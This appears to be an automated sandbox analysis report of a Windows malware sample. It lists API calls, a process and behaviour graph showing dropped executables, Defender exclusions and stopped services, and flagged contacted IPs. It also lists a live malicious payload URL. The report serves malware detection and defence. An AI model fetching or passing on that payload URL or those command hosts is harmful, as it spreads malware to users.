Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004013B0 CreateEventA,socket,bind,CreateThread, 2_2_004013B0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread, 17_2_00401470
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect, 17_2_00402020
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket, 17_2_0040E190
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004013B0 CreateEventA,socket,bind,CreateThread, 17_2_004013B0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1543742 Sample: Bjl3geiFEK.exe Startdate: 28/10/2024 Architecture: WINDOWS Score: 100 70 Suricata IDS alerts for network traffic 2->70 72 Found malware configuration 2->72 74 Antivirus detection for dropped file 2->74 76 6 other signatures 2->76 10 Bjl3geiFEK.exe 15 2->10         started        15 sysppvrdnvs.exe 2->15         started        process3 dnsIp4 66 185.215.113.66, 49730, 49731, 49734 WHOLESALECONNECTIONSNL Portugal 10->66 56 C:\Users\user\AppData\Local\Temp\33080.scr, PE32 10->56 dropped 58 C:\Users\user\AppData\Local\...\tdrpl[1].exe, PE32 10->58 dropped 104 Drops PE files with a suspicious file extension 10->104 17 33080.scr 1 1 10->17         started        file5 signatures6 process7 file8 48 C:\Windows\sysppvrdnvs.exe, PE32 17->48 dropped 78 Antivirus detection for dropped file 17->78 80 Multi AV Scanner detection for dropped file 17->80 82 Found evasive API chain (may stop execution after checking mutex) 17->82 84 5 other signatures 17->84 21 sysppvrdnvs.exe 10 22 17->21         started        signatures9 process10 dnsIp11 60 5.239.153.192, 40500 TCIIR Iran (ISLAMIC Republic Of) 21->60 62 5.75.95.114, 40500 TCIIR Iran (ISLAMIC Republic Of) 21->62 64 4 other IPs or domains 21->64 50 C:\Users\user\AppData\Local\...\818921588.exe, PE32 21->50 dropped 52 C:\Users\user\AppData\Local\...\264162301.exe, data 21->52 dropped 54 C:\Users\user\AppData\Local\...\229472814.exe, data 21->54 dropped 86 Antivirus detection for dropped file 21->86 88 Multi AV Scanner detection for dropped file 21->88 90 Found evasive API chain (may stop execution after checking mutex) 21->90 92 6 other signatures 21->92 26 cmd.exe 1 21->26         started        29 818921588.exe 21->29         started        31 cmd.exe 1 21->31         started        file12 signatures13 process14 signatures15 94 Adds a directory exclusion to Windows Defender 26->94 96 Stops critical windows services 26->96 33 powershell.exe 23 26->33         started        36 conhost.exe 26->36         started        98 Antivirus detection for dropped file 29->98 100 Multi AV Scanner detection for dropped file 29->100 102 Machine Learning detection for dropped file 29->102 38 conhost.exe 31->38         started        40 sc.exe 1 31->40         started        42 sc.exe 1 31->42         started        44 3 other processes 31->44 process16 signatures17 68 Loading BitLocker PowerShell Module 33->68 46 WmiPrvSE.exe 33->46         started        process18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.66
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
2.186.114.89
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
239.255.255.250
 unknown Reserved
unknown unknown false
5.75.95.114
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR true
2.63.29.22
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
91.202.233.141
 unknown Russian Federation
9009 M247GB true
5.239.153.192
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR true

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.214.172 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.66/tdrpl.exe true
    		unknown